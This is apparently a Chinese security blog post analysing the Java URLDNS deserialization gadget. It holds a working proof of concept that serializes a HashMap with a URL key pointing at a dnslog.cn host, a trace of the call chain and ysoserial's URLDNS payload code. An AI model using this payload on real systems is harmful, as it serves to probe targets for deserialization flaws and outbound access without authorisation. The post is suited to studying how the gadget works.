[toc]
前言
拖得挺久蛤,嘿嘿。上篇简单看了 Shiro 的漏洞原理,但是只用了工具没有对反序列化的过程进行深入,本篇文章就先从最简单的 URLDNS gadget 进行学习。通常使用此 gadget 的目的一是探测目标是否存在反序列化漏洞,因为本 gadget 不依赖任何第三方库;二是可以确定目标机器是否可以出网。
利用
先编一个 URLDNS 的利用连,后面再去分析 ysoserial 是怎么生成这个 payload 的
package com.yq1ng;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
/**
* @author ying
* @Description
* @create 2021-10-19 10:38 AM
*/
public class URLDNS {
public static void main(String[] args) throws Exception {
// new一个 HashMap 出来,这是此 gadget 的起点;然后设置需要访问的 url
HashMap hashMap = new HashMap();
URL url = new URL("http://8471gk.dnslog.cn");
// 将私有的 hashCode 设置为可以更改
Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
field.setAccessible(true);
// 设置 url 对象内的 hashCode 为 0x123(此值任意更改)
field.set(url, 0x123);
// 将键值存入 hashMap
hashMap.put(url, "yq1ng");
// 设置 url 对象内的 hashCode 为 -1(不可更改,后面会说)
field.set(url, -1);
// 序列化,写入文件
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./out.ser"));
outputStream.writeObject(hashMap);
outputStream.close();
// 反序列化,读取文件
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.ser"));
inputStream.readObject();
inputStream.close();
}
}
运行后可以在 dnslog 上看到请求
调试
利用链是从 HashMap 开始的,所以 ctrl + n 搜索类名:HashMap
先快速了解一下 HashMap 的作用,大致就是将一个键值对的二维数组转为一维数组,一维数组的下标为 hash(key)
。
然后直接来到 readObject()
,看看主要利用代码
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 布拉不拉一大堆
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
// 注意此处计算hash,跟进
putVal(hash(key), key, value, false, false);
}
}
static final int hash(Object key) {
int h;
// 继续跟,但是再直接点就进不去了,打个断点跟进去
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
来到 java/net/URL.java.hashCode()
插一句:这里的 handler 是 URLStreamHandler 类的实例。当 hashCode == -1
时才会计算 key 的 hash,这就解释了 poc 中这一句代码:field.set(url, -1);
,继续往下看,进入 handler.hashCode(this)
运行到 359 行,看 getHostAddress()
函数名字知道是获取 host 的地址,跟进
762 行就是根据主机名获取其 ip
如果继续跟进去以后可以发现这一段,如果 host 是 IP 那么程序将不必继续下去
梳理
经过上面的调试后来梳理一下利用链:
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()
不过还有一个问题,就是 poc 中的 field.set(url, 0x123);
。为什么要先修改 url 内的 hashCode 在将 url 存到 HashMap 内呢?答案就在上面,如果不设置 hashCode 不为 -1 的话,那么存入 hashMap 的时候就会触发一次 hash(key),也就是本地生成 poc 会执行一次 DNS请求,这会对我们的判断造成影响,所以要先设置其不为 -1 ,存入 hashMap 以后再将其变回来,这样只会执行一次 DNS 了
探索
先看 ysoserial 的代码,为了不占篇幅我把部分注释删了
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
它代码中没有使用 field.set(url, 0x123);
,但是自定了一个类为 SilentURLStreamHandler
,这个类重写了getHostAddress()
函数,重写后的 getHostAddress()
是个空的,也就导致在本地生成 poc 的时候不会有 DNS 请求了,nice!